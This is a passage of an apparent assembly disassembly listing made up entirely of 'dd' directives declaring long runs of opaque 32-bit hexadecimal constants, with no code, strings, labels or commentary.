6B40EB82h dd 466C8B59h, 0C0A3F307h, 942303D0h, 7B810980h, 0A5130070h dd 824B993Ah, 0F35066DFh, 4B241744h, 2F7EFA30h, 4F153CA6h dd 0D81077CDh, 0F9EB5009h, 0ED20D153h, 787D3807h, 0BF58A193h dd 3F0876BBh, 0B13234Ah, 0D7A09C60h, 60DC2094h, 0BC15424Dh dd 83B8C571h, 5F8C498Dh, 9FE7D1B8h, 3FD36338h, 0CDCE9BC2h dd 1975402Eh, 46A47D21h, 4002497h, 0BC0529AEh, 59276CF3h dd 0FED87BE4h, 780744A8h, 5AB9DDACh, 2AF88C91h, 0DB595E8Ah dd 0B8B9F29Fh, 0C5417AEEh, 97A72E2h, 0F6FD4EC7h, 599D98Fh dd 9C7E160Ch, 0CD2FA505h, 67B0B08Eh, 25E652C3h, 34AF42CBh dd 0BDBCB844h, 9ABEE49Bh, 9199E4B0h, 937274FAh, 0E6057B43h dd 55ADFA69h, 0AF5F1BB9h, 472B2882h, 0FE7DF33Eh, 673D5D57h dd 2743B794h, 7071B5E1h, 0A2947818h, 8309102Ah, 0C2D342DAh dd 2D20C148h, 74716279h, 1635F3F2h, 6DB65624h, 0BFE300C9h dd 1217C06h, 0A327CA2h, 99F8F918h, 4FE9B710h, 4C99E6FFh dd 1C35FB4Ah, 9D501E73h, 0D9358352h, 8C10704Ah, 0FD257A98h dd 4F83F7E1h, 35B81832h, 4F16F08Fh, 948AF812h, 0D4E98858h dd 29901A20h, 0B97BCDFDh, 3555B3A2h, 38446FFEh, 7FF503C0h dd 2E0C01D3h, 49B4832Fh, 8791C6E3h, 0D3700823h, 2857A54Fh dd 0D0A54F1Dh, 0D6500CEh, 5C8415DDh, 9FE3A894h, 65AE4EA7h dd 74EA2323h, 62332349h, 32C53B28h, 6D255863h, 1CDBD9EDh dd 1453FF24h, 78C63935h, 5262D125h, 2A3CAD34h, 41F8CC8Bh dd 5988BF49h, 74D34517h, 59F627F5h, 0B634046Dh, 0CC04C4CDh dd 73B1906Ch, 0B0E102E8h, 6C1C2F4Ch, 0A23666E6h, 0EDF020BFh dd 0CC47A9Bh, 3130514Ch, 9F9B81DDh, 3824EE64h, 0DAE07703h dd 0F8D2E084h, 49827316h, 74037C5Eh, 35249DB3h, 0D2C2C0CAh dd 14004778h, 4BA30BCAh, 9F952F25h, 6BE597C3h, 0DCC8B5F5h dd 0C3CD1B41h, 0FCB0E357h, 0A3514942h, 0F2BE44A5h, 0A42429D9h dd 8B7BC719h, 8244A10h, 0E3A4816Dh, 9DAA3505h, 0CF43E16Ch dd 0EDBA989Fh, 0B8B77685h, 11C0763Eh, 3B4861BBh, 9DB86D4Fh dd 0F88BCE73h, 0FCC53A3Dh, 9B84C35Bh, 513E52CFh, 0E5098579h dd 779A160Ch, 47071A73h, 0EF31FADDh, 0B10CDC4Ah, 0F0703A21h dd 0A72991D2h, 98D439C1h, 7413E8CEh, 58C7FA4Ch, 0C677C85Ch dd 7C4FF268h, 251DA7BCh, 27499ACFh, 11301AC4h, 0DF7E2E46h dd 24D2A186h, 6214AA75h, 0F372B4D0h, 58AEB7DCh, 0D3ACB405h dd 8A6DE020h, 6BA200CBh, 6AB023DAh, 466EAA45h, 0E5E332E1h dd 1C5FDFDDh, 0FA30C8C4h, 0B05F5154h, 621332DBh, 2ABE43FDh dd 2DD531A2h, 0A358AB96h, 0FB1DB29Ah, 0E6A525A4h, 50F16A52h dd 9760E590h, 0EF9A331h, 723E949Ch, 9F3AC820h, 98578F3Fh dd 0AA269BEh, 47831A01h, 76C98A1Dh, 334CCA72h, 96EA2846h dd 6B5CB67Ch, 0B88B8965h, 7FB123F2h, 6931543Eh, 0FB88A3B3h dd 3F29DE59h, 0EE05FE94h, 91D0B29Ch, 2B28EB28h, 7719B5C9h dd 0E0456629h, 0FAC253B5h, 0BE26F369h, 14AF5DDFh, 1A0CBD6Dh dd 0B049DB05h, 90098B8Dh, 308CF529h, 5C1464FCh, 21641F43h dd 0E2BC20C2h, 3FD49869h, 0D1252D6Eh, 1E168D57h, 0DFE69405h dd 6FCB1785h, 0D3307DF4h, 0E95148C6h, 121B8AEBh, 0D6317F65h dd 8A7E1DF5h, 5A53DA68h, 0F7EB244Bh, 83B1F71Ah, 0C8317B1Ch dd 4AA7BBA3h, 536D9BB0h, 0CC9116C0h, 2E102583h, 3280FA88h dd 0A9799A2Fh, 6DB613C6h, 70665A98h, 807D58Ah, 0E7C3C0CAh dd 0A8074CB8h, 300DCC06h, 898EC3DFh, 0BB9DBBC2h, 0C946F06Fh dd 0C75C5B47h, 15DB284Ah, 1C83EBD0h, 41BFBA14h, 76EA5824h dd 6C1C6DEAh, 0F5D67C89h, 0F18803FCh, 0EF2EFFCEh, 3228090Ah dd 91A23FBDh, 0C756BE6Fh, 9A7115ACh, 4C9B413Dh, 9B8D727Dh dd 20087C2h, 5F2FFC6Fh, 0C96B5A32h, 60E11150h, 3125E5CAh dd 0A2E3E3ECh, 0F6E74062h, 2C83F707h, 0BB7F3E87h, 3920D5DCh dd 8955B6D7h, 2CB7FCB5h, 4DAA72C6h, 21F3A180h, 0B55F249Bh dd 49E9C7F0h, 8681A20Fh, 5270E9Ah, 9ABCA0A4h, 97907D42h dd 5DF73022h, 2B15B0D1h, 301ED569h, 47797836h, 5AD1AD5h dd 186128C0h, 4773FB91h, 22B243Bh, 0C02AA382h, 0C793C364h dd 424D698Fh, 594BED89h, 16020B97h, 7C9F471Bh, 3EFC2719h dd 7E3F3319h, 210CDBFBh, 0D076EEEh, 0C6BD795Bh, 560277EFh dd 0A4F113F8h, 1EDE59BAh, 0D49EEC91h, 79C431FEh, 0ECCE245Eh dd 6B463C27h, 7FC4092Ch, 7FE1C27Dh, 3B5FCC7Bh, 0EF96F32Dh dd 717BEF32h, 0E92B07DEh, 2D58816Fh, 64AD4488h, 0B97306C3h dd 0BDBDDD52h, 5BE5AD35h, 23849765h, 3CC2F882h, 0AB7AF19Ch dd 545B08CBh, 24E5EE7Fh, 24E12D7Dh, 73AE965Eh, 1C9C4134h dd 0F99BE561h, 0B74CF970h, 74FA0650h, 522188Ch, 0CC0980Dh dd 0B30CDDCh, 2BAFC1ADh, 0F3F18447h, 0C03CEE7Eh, 0AACA4C46h dd 29672DD2h, 88C94A74h, 0D1BCE400h, 0E77EEC82h, 0CDDA450Eh dd 0D8AD30B7h, 0CEC34F03h, 0E14E12EEh, 1F3CD696h, 0F62E0F2Ch dd 52EE2A10h, 9F134F24h, 36D31779h, 165345C1h, 0B4348BD8h dd 2AADC069h, 96D305C6h, 0F75996B5h, 893F2F1Bh, 0D1A67E72h dd 22AA5C04h, 433C940Dh dd 3BF571Dh, 8C51A77Eh, 0BEEA866Bh, 96B5C732h, 83B3910Ch dd 0F3DEE6DFh, 3BB02366h, 233D9F4Bh, 84B36526h, 10FBE8Dh dd 759D7650h, 0E4EA254Dh, 589A61F9h, 70CBF0Eh, 0E8F57DD1h dd 0E486E0DCh, 4F27A543h, 3083CB7Dh, 49E563C4h, 745CB337h dd 3AA3529Ch, 4B225AC9h, 0AFF09AE3h, 1F830A21h, 372285FBh dd 610D3BD1h, 63936F9Fh, 0BDCBDE1Dh, 354555FEh, 0B34DDB5Ch dd 0D9FDFBBDh, 0C280EA83h, 0CDDFD054h, 0F6BE43DFh, 1794FB06h dd 0E87F4C0Ah, 0A2B27E1Ch, 0D5ED5794h, 0FFCA12FFh, 5EC2DE29h dd 0D361D56Eh, 0A49F93F9h, 0E7220F01h, 0E510AB50h, 5BD70AD1h dd 79AECBF0h, 5E5C0C53h, 23F91170h, 0B4539EB2h, 3A0BF168h dd 86BE916Ch, 17F12336h, 0AC9FFD59h, 0A3693D9Eh, 11545E4Eh dd 59E99E16h, 0FE1B72A4h, 5354D96Ch, 0BEA706DFh, 7D198D44h dd 0C78BE434h, 5B805851h, 0F78DB9D4h, 11859382h, 0E5877C00h dd 0CDE1C4EBh, 0F3988F16h, 4768BBB3h, 9C15EB2Fh, 0AF13A9F8h dd 0F16195B3h, 0D158361Ch, 0FBC865F2h, 396E5013h, 8F1F0A36h dd 0F1ACEA9Ah, 0E15A4EE3h, 0E837192Ah, 645C40CEh, 0FEDB0E9Fh dd 6CA60942h, 0A1BB3A3Bh, 8411CD9Ch, 199BF1A8h, 6B364421h dd 0D82F9EF5h, 1F1B8F7Ah, 91782C4Ah, 8DD7CFC6h, 0DB44B0D4h dd 0C5E94957h, 0E9731C35h, 5DFE6172h, 9696E21Dh, 8D3F875Bh dd 0EC6B7695h, 86449BF3h, 57846E8h, 76EC5ABAh, 0E218775Eh dd 72D13C35h, 0AF5144B0h, 8BD53D5Fh, 1C351042h, 1BD3ABEDh dd 0F9CBB5D4h, 61DB45B4h, 0DF27354Bh, 9F9EB3Ch, 87638CCAh dd 7F0A96CDh, 82600F5Eh, 1FDAFC60h, 89220B0Bh, 5A8C0CCBh dd 0E9D5E654h, 40F9BA80h, 8691728Bh, 943C3736h, 4D979C92h dd 5BAFEC6Dh, 0A84BB628h, 84FF283Dh, 0D54905EAh, 0F1B5A7A2h dd 0AFB7E60h, 677E9FB9h, 17C85157h, 0FC0F4F98h, 8DA917B8h dd 0EEB2C966h, 18BEACC6h, 9FC07E2Ah, 4F22B042h, 1E7047A9h dd 0EA92216h, 86B12387h, 20092078h, 0B93E0854h, 8D5F772Ah dd 4EEA649h, 534D0806h, 0B874C9D8h, 0E001C606h, 0AA449279h dd 0C24F67A1h, 827E782Ch, 4FB0E070h, 0A872EE17h, 67920285h dd 0F2C09B3h, 5C19DD9Dh, 5B0448A4h, 0FF14C92Eh, 816E0E80h dd 0C45E5C7Eh, 12B8600h, 0FAF06F09h, 86461935h, 4070041Ah dd 360D3595h, 1732A2AEh, 0A91163D8h, 0C0F56B7Fh, 81C9EE83h dd 8E7A61B4h, 0D582EEh, 0E9E0BC81h, 32B62A02h, 259BB2BEh dd 3A0D1553h, 9F7B4479h, 4389073Bh, 15CB50E1h, 4B981815h dd 3DCF6DC9h, 4B74526h, 8B781CADh, 0CE3551ECh, 52F66AD0h dd 80A6D3Bh, 0C1F21634h, 0F48ABF78h, 0F0C1B72Ah, 59A4BD23h dd 0A805EF66h, 611D4F1Ch, 0FB337263h, 0C948A8CCh, 0F3C4AC54h dd 432968E2h, 0C040237Fh, 5622BD30h, 0EC27EE2h, 6577885Eh dd 0FDE7EB65h, 837AA744h, 0A1E8F134h, 3FEBD19Fh, 274E6D7Ah dd 7DD00ADDh, 20FEDABDh, 517AFCA7h, 748DF1F5h, 94AAB7BAh dd 334AEE64h, 7489424Dh, 0B2B5BAF0h, 600620BEh, 0D1DC1207h dd 0B4CDE9CEh, 0AEE46AC6h, 6DEAB6FFh, 0AF67A62Eh, 9EA968F6h dd 45B20DCDh, 12E2B4Ah, 88EB3847h, 3CBEF087h, 2D0A9D6Bh dd 0DEC466F4h, 32D76B5Eh, 0F775BCAh, 0C504E91Ah, 0BC4A9D0Ah dd 8B888ED3h, 0A6AF504Bh, 0F665F8F2h, 5A5F62F1h, 7A08BB3Ah dd 340E6007h, 78EA6B0Bh, 0C85D88F4h, 42E296F9h, 58609D4Bh dd 64377785h, 0E6DB56D7h, 3ACE8F6Fh, 18699CE5h, 27B8AFF3h dd 4ED148ECh, 20C20DB6h, 0F6A2D3AFh, 0C071C2E5h, 3D462F9Ch dd 0DE55631Bh, 0ADF93483h, 87B2B904h, 2DE46014h, 0ECE7BCCAh dd 0CDF75FC6h, 3B3C51ECh, 41958FB9h, 0D611A0B5h, 27EAFB85h dd 1E819EB7h, 1D3A1DA4h, 0D3CD6554h, 0E6FE71Eh, 1AB97F5Fh dd 3B51D194h, 3BADF950h, 7D974434h, 40A81D14h, 0ADC75A91h dd 94DB3A0Fh, 0C81D31BBh, 40CE81E2h, 8F14F371h, 31378009h dd 77E296C5h, 0D50146D1h, 97D363CDh, 4E5AF81Bh, 0E3096FF6h dd 220B53D8h, 62F5CA52h, 6116F4h, 8BE8F6CFh, 932860D5h dd 0B8CF0822h, 6248A8F8h, 0A5AE5FA2h, 35A29E28h, 49F2E28Dh dd 952C422Fh, 32365767h, 3308F4A2h, 5F9DCA74h, 0C9EC163Bh dd 0DE55C11Dh, 55F906D9h, 112B2E54h, 0AA080D4Dh, 0DD48F31Fh dd 9BBBEA56h, 78E9F9FEh, 65AEA121h, 9BEDB676h, 0F4A7D836h dd 0A073B6A2h, 0FA7090EEh, 0C7D8E61Ch, 0C65C374Fh, 3C194D62h dd 0F2ABB38Dh, 0C83CED57h, 0E7D3461h, 19CBC4D4h, 0FE4F9641h dd 0F95CA20h, 0CA1F405Bh, 0B08B92E3h, 0E4FF0D06h, 0EF1F7CACh dd 4DC21AF5h, 0B9FD8092h, 2C6E9D4Dh, 0EDD24A92h, 7DF7A642h dd 0B80C41h, 6972C931h, 56646526h, 0B9E7EA7Dh, 0F69F2162h dd 0F9128E80h, 0F3C2EDD6h, 0A25A4E10h, 2B4914FDh, 73F7D2E5h dd 344C6187h, 0FF27EACCh, 0B519B514h, 0CDE2F8CFh, 36F4041h dd 99A0D1CCh, 0ED436FEDh, 0DAF129D1h, 0C73C219Ch, 87D7231Ch dd 59042C47h, 0B0F6C907h, 0EB659506h, 90D1C59Eh, 0DB2984F3h dd 5C1252Ah, 0D12584D8h, 0C46FCE2Eh, 0E8B42Eh, 7036C01h dd 2786D73Ch, 5234727Bh, 0C75F76F0h, 0BAD045FCh, 83F5C27Ah dd 7E508F62h, 0C4D30AD5h, 0BCBF8C7h, 78A33919h, 0E4F28986h dd 0DC5AA427h, 41B7BBA7h, 0E517AC9Eh, 0AE61A44Ah, 0DF52E2Eh dd 78096628h, 0D04A5FA2h, 0A724FEFBh, 0D1780095h, 52309ECDh dd 830DF818h, 281E0DA5h, 0DA92B689h, 0CCD70891h, 577AB26Fh dd 0EC5383CEh, 34B4ED92h, 49722FF7h, 1D1E9611h, 0B9C83889h dd 770BBA72h, 822016AFh, 705CDAABh, 0EE5E233Ch, 0CDD6797Ah dd 0E66C85C5h, 6591AC5h, 6AFB8BFFh, 298C967h, 0B890B9E3h dd 9FD238Ah, 841248B5h, 297FA6DEh, 6770AB18h, 0BCAFEE95h dd 2ECE9E36h, 0C38C598h, 84D66621h, 5E4CBCC2h, 19BEE571h dd 746E05A2h, 2A9E2AAAh, 0CB3EDBFDh, 6FCC6A0Bh, 0DFEA2301h dd 0F4216BDFh, 0BBC3791Bh, 179E198Eh, 0C8AFD0FDh, 6F426B37h dd 36158025h, 0DCC105E6h, 0F4C87B68h, 96B4A8C3h, 542B3ECBh dd 0E517E14Ah, 0CA3EFA22h, 7CFA3D50h, 0BDABFE36h, 2D4062C1h dd 16CF2F4Eh, 5BF4A61Eh, 7601701Fh, 7DD9B7E6h, 12FF47B9h dd 6EF3B3BBh, 0E32CA812h, 0D701A580h, 0EEA45E43h, 0C982C661h dd 5E3A57F8h, 397FEEC2h, 0DE954F4h, 1E5114E8h, 0D6DCF5B3h dd 5271258Fh, 1C72402Bh, 0DFC5F1F2h, 0C0469A65h, 0B29B8117h dd 13E34533h, 6C0BCDAEh, 498D3EFDh, 0C7B0098Ch, 0D748D87h dd 443BB079h, 0B5C62865h, 0EFBB3E9h, 7459154h, 0F5FC29DFh dd 0DF4B86EBh, 0F9BB8DA4h, 1B89902Bh, 0CBC5A4Ah, 83D5CC2Dh dd 959802B6h, 0FBD08002h, 0D492CEEh, 7FC5A789h, 70325F6Dh dd 0C603A59Eh, 2D66E0EEh, 0D79BAB11h, 0BFCE55A0h, 70CBFE9Fh dd 258B70C8h, 1136D346h, 338BDEE4h, 405F90A9h, 0AA2EFBC6h dd 0B87E65C8h, 3D349474h, 6B4B955Ah, 0DA011A2h, 41C8D8D8h dd 59E115E9h, 0DE3B9B15h, 98D2789Fh, 8F69F91Ch, 8C0DDA46h dd 23A1730Ch, 54682C67h, 3304AF2Bh, 0FC88323Ch, 3D0D6185h dd 9D54FCDDh, 0DE4F5EEDh, 237E8F91h, 0CD3E61A3h, 58B6105Ah dd 6996DB69h, 0CAFE5A48h, 384BD579h, 0A4D7264Bh, 2882E21Dh dd 3A2A44EEh, 0BD3B884h, 0A161AC17h, 7610F4FFh, 3B620B02h dd 8BBCBDB7h, 8B33D4ABh, 850CB1B5h, 0C889FDA5h, 71186A6h dd 5473B002h, 5269BA12h, 7E15610Bh, 0D0A54114h, 66F39805h dd 0D000AD16h, 0FC57B7EBh dd 0DB0ED71Eh, 87E7D902h, 0E27749ECh, 0EAABF3BCh, 1AD7347Bh dd 344B0406h, 0C77CFBB4h, 0D2ED768Dh, 34E1DFB9h, 708FDB35h dd 505D9F03h, 3A41985Eh, 2E812054h, 0BD19EB94h, 0E800D6DCh dd 370DA0FBh, 0B40EA902h, 0EF8B3B8Fh, 823552EDh, 0FCF803FEh dd 0DB27709Dh, 54F76E61h, 0D8716C4Dh, 6B29B7A0h, 0A0096260h dd 4289C97Bh, 4B6CE40h, 97A3E0E7h, 0B37BEEDh, 7DB7EE78h dd 0F8580B87h, 0C1E63C6Eh, 0DEF6D70h, 3978F662h, 749F0C5Bh dd 0B733CF4Fh, 499B0230h, 17CD064Eh, 42EAEF24h, 7C537814h dd 0B0820118h, 5257375Ah, 0DE4B1391h, 0B32C88E0h, 0BD575CA3h dd 4D9907D7h, 0AEF47FC8h, 0BE14573h, 30FE16B9h, 0F4D2E93Ah dd 7D13A03Fh, 67D44DE4h, 3D870070h, 0CBD0E35Bh, 4D82E16Eh dd 0D7740C05h, 36D808A4h, 83B7E39Ch, 0A14D86CEh, 4156AC05h dd 1AFB2407h, 87331674h, 0FDDE90ABh, 0D9944A49h, 6D265BB1h dd 26FAFAF7h, 1037AE32h, 0BA3B8E22h, 3DEE2555h, 4C00028Fh dd 0CEF73F37h, 13DA1C6Bh, 387248D6h, 6D022F47h, 499628BBh dd 568600B7h, 0A23B2D94h, 36780560h, 0E8594F59h, 706DAA49h dd 374169F1h, 925FAF33h, 4D85B188h, 0D5939F6Dh, 3E3D89C5h dd 0D01AC23Ch, 703E8B22h, 0A5752555h, 3386B148h, 4C7C7211h dd 0F65BFB24h, 49856162h, 0DFEFB4C6h, 0E19479F6h, 6B8046C0h dd 6C439207h, 0FB4412F0h, 7E28A78Ah, 9B04CA31h, 814C82F3h dd 225BC4E9h, 949B1D6Fh, 24283E84h, 1F47AD8Fh, 122BC290h dd 3E41F7h, 0CDCED3E3h, 18DCF0B4h, 0D5860C05h, 0F1C9BCD5h dd 7A7AB104h, 65258C86h, 1596083Fh, 879039CCh, 0BE8BEB0Eh dd 51C677AEh, 233283Eh, 2541D5BEh, 0AA6877E5h, 0B17DCD0Dh dd 0A6D32B9Bh, 0B6166BEBh, 1B6E21F1h, 2256FB22h, 9B48AB39h dd 5AB46C8h, 3F87B2C7h, 0C400FD47h, 0F7C973Dh, 0B369A438h dd 28F51CA7h, 4815A965h, 2357007Ah, 0CC998ABCh, 10C60248h dd 0C569316Dh, 0B710212Fh, 34EA0230h, 8060F379h, 0BA9D4E6Fh dd 0E85630E6h, 4ECB0418h, 4342668h, 0D230F881h, 63957496h dd 536FFF0h, 42E23BA9h, 0DA82799Ah, 0BD38BE78h, 76F4A2A7h dd 8FEDBEF7h, 8BD3EE39h, 0B5E8971h, 0CAC1EC21h, 946B8588h dd 0AE23C216h, 0FDA30F06h, 76BA9978h, 0F450C045h, 0D5A42AA1h dd 0F301D15Dh, 0FB9A9973h, 0DB285256h, 0BEFCD28Ah, 0AC6649FBh dd 0D38909C7h, 0D149A1F9h, 0ED942140h, 1EBB298Ch, 9119B1A2h dd 6BAE6892h, 0A2A73C12h, 0C2897C9Fh, 43B51325h, 0D540AECEh dd 0CAB7DEFBh, 173BF2C7h, 0C98995Ah, 0D739FFD2h, 0A8943A6Ah dd 73E857B8h, 68EA8688h, 0E031086Dh, 3A87521Fh, 0FC6DAC9Fh dd 0A326670Eh, 0BD93AC2Fh, 96EED02Bh, 175BCD4h, 0BC1E40E2h dd 58ADFE17h, 2F05E602h, 7364DD22h, 0C8AFE1FBh, 3490729h dd 9FB15E80h, 3A4F49CDh, 0ED406484h, 5AFB4AD8h, 55A47345h dd 55385A5Ah, 105105E2h, 0D9512D9Eh, 79612839h, 96A1976h dd 0F3B83A05h, 92CC5858h, 0AE61B499h, 3D807A79h, 17DF4C2h dd 57B0641Bh, 57B475B1h, 5F0430A3h, 2305B099h, 4ACD61D6h dd 0C7114458h, 0F8F38655h, 0E0691BA9h, 71D55361h, 89A91851h dd 51CD21EEh, 0B2E0D574h, 65C3E42Fh, 10EA7188h, 3AD6851Ch dd 0D29C78CFh, 0E781CAD9h, 7E56C853h, 94ECD625h, 96D1574Fh dd 0ED25B2D4h, 8B6DFFFDh, 645C9327h, 0BEB30AC3h, 1BC8EAEFh dd 9C212437h, 9F0409A3h, 43FB7549h, 969A21F0h, 960A1003h dd 70CEBF39h, 0FBD239FFh, 7CEF7763h, 76ECD132h, 72E1D495h dd 0BC70080Dh, 0CDFD3BE0h, 3EBB37BEh, 900996D9h, 0B6AC10E5h dd 967802C3h, 26FF58B5h, 15FAE194h, 26D90F29h, 90E2CBA5h dd 308B82EEh, 0D03B27C4h, 5E889E8h, 96989EC8h, 0A4D65DBDh dd 8C0F9AAAh, 6ADE0DB6h, 0B0C19284h, 0F3DBD63Fh, 0D1EBF4BBh dd 4DEBC9EFh, 6FB6EDA9h, 3C09F0B6h, 0C7880DAFh, 322FB3BEh dd 0C3FA6028h, 6516D5Ah, 0DC2A3359h, 41B3F28Dh, 332F4D49h dd 888F2C51h, 9A1B3FEEh, 4D1D4F55h, 0EAB3D74Ah, 0A5E1BB1Ah dd 7441BF83h, 7664A004h, 54F3AB9Fh, 1FBDD840h, 7D549FB0h dd 0D7B89E07h, 91FDB25Fh, 5AEED8FDh, 0D2D65CF6h, 96458458h dd 6D41986Fh, 67A63867h, 1B6CC19h, 0B250F9F5h, 566F8D99h dd 291A6DF4h, 34670A45h, 0E0427F0h, 52D726C8h, 0E4CBEA31h dd 0A92EDB09h, 1CFB9C7h, 5D9C2B4Eh, 46A3C0AAh, 0D3E5E717h dd 33948268h, 2E935731h, 564796F6h, 421F74B8h, 0F288E198h dd 0B9069C66h, 4B8902AAh, 0E94656D7h, 255A3C91h, 4D1B9B03h dd 0CFAB810Dh, 4E4EFE71h, 8A0D96D9h, 0C152F3F0h, 6C2DF4F8h dd 31D6B183h, 1EBE034Dh, 2FA62A6Eh, 7CAE0CD1h, 0EFCDBD65h dd 0CF734A9Fh, 1D4280D5h, 0BC10B500h, 0BCA5BF57h, 8E3712Ch dd 0B7F52Dh, 0D979F497h, 0DEBA5093h, 0C08D41CFh, 0D74C34Bh dd 0C6A2E1E9h, 0F2C3FB4Bh, 6AAD794h, 0E25BE733h, 4C11352Ch dd 30045554h, 27A5F14Fh, 2B5FD702h, 0DF04C527h, 3FF6E07Eh dd 0BCD23343h, 0E65516FCh, 0CC30FF0Ah, 0C4DEF719h, 0F0CA7962h dd 2CFF3D21h, 5FA3FB15h, 4C08D22Fh, 867E848h, 32D01832h dd 9A3E9608h, 3FBAF70Dh, 21A609FFh, 0A932EAA4h, 0F144F9EAh dd 7C021264h, 799C0C3Bh, 0FE81AAA6h, 0BFFCCEB9h, 0C84B9E25h dd 874B622Bh, 0EE7D02E2h, 0FCF3351Eh, 413B6B61h, 310739E6h dd 2104584Dh, 9F6C0E8Ah, 14F67546h, 0A51B525h, 3FF131B1h dd 0C18349E9h, 0C12BF6DBh, 0C9386B45h, 0B05B4E6Eh, 0B49088C4h dd 6DAC7CBCh, 7337487h, 6C5ADB5Bh, 0E63ADCF7h, 0C95D2B91h dd 113D1210h, 0BE05C8ECh, 8C6E41E8h, 3CCEA43Eh, 7536EBEBh dd 6E898EC8h, 657E6DBAh, 851FBF19h, 2D7D2D89h, 586E9AE1h dd 0AEEDA6B3h, 0DC8D8D5h, 0F3053386h, 61697AFEh, 214E3F5Ch dd 0F43AF9E1h, 0DE6D115Ah, 4AB5FA6Eh, 475C212Bh, 0B370B70Dh dd 1DABCD81h, 5D5073E9h, 8F9D694h, 48E72BE4h, 0A60E0FFEh dd 9A0897E7h, 232829C5h, 84718101h, 9E8ABE94h, 0A31B6571h dd 42E86D03h, 0E860DB6Ch, 35B17377h, 0A13B5008h, 8879C04h dd 0A6F4C70Eh, 0B9925214h, 0AC0F8EC9h, 3E16BBAEh, 0BFEAC5B0h dd 0E69A46DCh, 8E340177h, 74F3BC1Bh, 7B21540Ch, 0C5E6E042h dd 1BD5582Fh, 7A6FBF0Eh, 38E98EFCh, 9A584E5Dh, 9615DF5Bh dd 7796164Ch, 864171ACh, 8A114DE0h, 0ACF57276h, 6C35E4AEh dd 5FD1D9D9h, 15F3A20Eh, 34876C2Bh, 9D1284E3h, 0CCCFE8E0h dd 0A65FF140h, 6630F72Bh, 20D5B878h, 0D591E7F2h, 118999D1h dd 82C312EEh, 79825BCEh, 0DDD9753h, 2F35FB21h, 6CB2CBD1h dd 6A9A605Fh, 7ABDC027h, 6B8DF058h, 83907A30h, 8235EDDDh dd 0AD688376h, 4EDE698Ah, 0B33868A9h, 73E211Ah, 0DDC5EAFBh dd 7B8C1140h, 29371770h, 359CE633h, 9E1349EFh, 8805FB73h dd 0E79F4F85h, 0F1CD1171h, 0D622FF11h, 753C5152h, 6A24F161h dd 832C083Fh, 343F2D9Ah, 0E0A4693Ah, 0A721B0CCh, 0CC949113h dd 0AF44E567h, 0FA1716A9h, 59D48560h, 31BF34CAh, 0B5E39708h dd 0FC1757B5h, 0C182193Ch, 840E1337h, 920E2C2Fh, 9DCDCD1Dh dd 3EAFD2DEh, 1AB1166Ah, 92715CA9h, 0CB37CBF4h, 0A0C72263h dd 266A214Ch, 5382FA25h, 4C51C138h, 0BA1B8F65h, 0D4699227h dd 49E96744h, 559B5AB2h, 0D4495FE0h, 0E05527F5h, 55ACE12h dd 823DA322h, 0E2603Bh, 0E97F11C9h, 0B02DE02h, 81D5C3E0h dd 37C112A8h, 0BC772F46h dd 40255388h, 881D8C83h, 76DE896h, 0E0B558BDh, 9F083275h dd 0C82D7115h, 0D73B5609h, 0F0A27D46h, 6195B34Fh, 0A01EFC16h dd 91834512h, 0B29BEFDEh, 0F23CDC7Ch, 585D00E1h, 31DCD2EAh dd 0EFF6F8CFh, 59D18A3Dh, 0BD27DB5Ch, 6C5EBECFh, 9D441228h dd 3F980A22h, 0F8BE1B67h, 0C5E11D6Fh, 0BB66C45Dh, 44C434C6h dd 355E2180h, 7DD6E19Bh, 0B1BA5F9h, 52370332h, 0E7DEAFCCh dd 76B1E157h, 0F58BB71Ah, 727D2507h, 0F2800ADBh, 98D62058h dd 0AD70B060h, 0D0BF366Ch, 379FBFA8h, 338DBFD6h, 98160F82h dd 8C127C99h, 67FBC9C0h, 91B3C868h, 99BD4F47h, 0AF80F6D9h dd 247C8012h, 602A58DBh, 15E7BC7h, 0A8E4C8E1h, 6911A1D7h dd 0E59467C1h, 0F638B973h, 3268533h, 326468F4h, 7D74742Ah dd 0A8DFA8E5h, 0AAF7F8E5h, 0B2EF5A5Ah, 0B3C68F41h, 0F0ADF4C7h dd 0A5D4A6B5h, 841B744Eh, 0D98CB8F5h, 0A4A4C75Dh, 0A144F5BBh dd 50CE1C71h, 4FF826h, 0C6831DEEh, 0BBA06B52h, 4AA5E70Eh dd 0CC2FB358h, 0B1F803D4h, 0F4FF5B61h, 65E5F588h, 5F746F5Fh dd 898B4B21h, 8B45277Fh, 0EF6ADA36h, 750ECFDh, 9C7FF24Bh dd 42EC759Eh, 7963104h, 44F798ADh, 4D3BFBCh, 5F22FFE8h dd 90C7E151h, 3B685A1Ah, 0B98341BEh, 0AB4B6390h, 0EAEA776h dd 2FF01AE1h, 345ABAC8h, 9367593Bh, 0F0B9393h, 0D27B39FDh dd 5AEA2AB0h, 2FE48AC5h, 0B1F62478h, 13F233B3h, 411B231Ch dd 16A43375h, 0BE1E4BDBh, 2E3A90DFh, 5A953091h, 0CE5A9502h dd 1025E1F0h, 8EBBD4E6h, 317DD713h, 29FA4F20h, 5EBB1DF2h dd 0A13D9E42h, 0F503A83h, 72B08A91h, 16DDB5B4h, 0AB7893DBh dd 0F2FC0B67h, 0A9BBEDF4h, 0A1D13A74h, 0AB753A55h, 72DAD37h dd 76599061h, 3CC03DB4h, 6C636098h, 2DF80441h, 2232F225h dd 0DD414136h, 737A72Dh, 5D0CD609h, 0E9EC1ED2h, 0F55BDF5Fh dd 0E2B335DCh, 916CCB78h, 644984E0h, 162F64D2h, 2DDF67C6h dd 7A34FAD7h, 0D6FCB297h, 0F9B7181h, 0F24D0AADh, 56422AFDh dd 0A4D8A5EEh, 0D46B644Fh, 428DE9DFh, 9E4BFDB3h, 0DFEB3952h dd 85149D33h, 0BB593DCBh, 7035BCCDh, 4D990560h, 712908E5h dd 9C27FEF3h, 0F2EBD063h, 0E3E88A53h, 382C8E64h, 882EE436h dd 5CCBD68Ch, 0FF19B3CEh, 0BE43E18Fh, 39D6458Ch, 607E392Bh dd 0BCADE56Bh, 490F08BBh, 25F4FD62h, 29797A27h, 66DA8325h dd 0F780A990h, 27FB1DFFh, 0DFE1C1B2h, 54519763h, 96596CB3h dd 8A1BFB8Ah, 8681EC6Fh, 97885C4Ah, 0B0D32F7Bh, 6F672138h dd 6A0127EEh, 72B550A9h, 18FC98D2h, 870A2EC5h, 0B31FD619h dd 6B61A881h, 55F664E5h, 3736C4B2h, 35B67869h, 0E73E5CAh dd 0F21A809Ah, 8CF6E6A4h, 6250881Eh, 0FF2268B8h, 0E785B5DFh dd 3E8C5942h, 174B2428h, 0F6523D36h, 0CB8C2657h, 0CAFFA254h dd 780EB387h, 0F564A3C6h, 36C5AF62h, 5980887h, 85D5BB66h dd 32B06E61h, 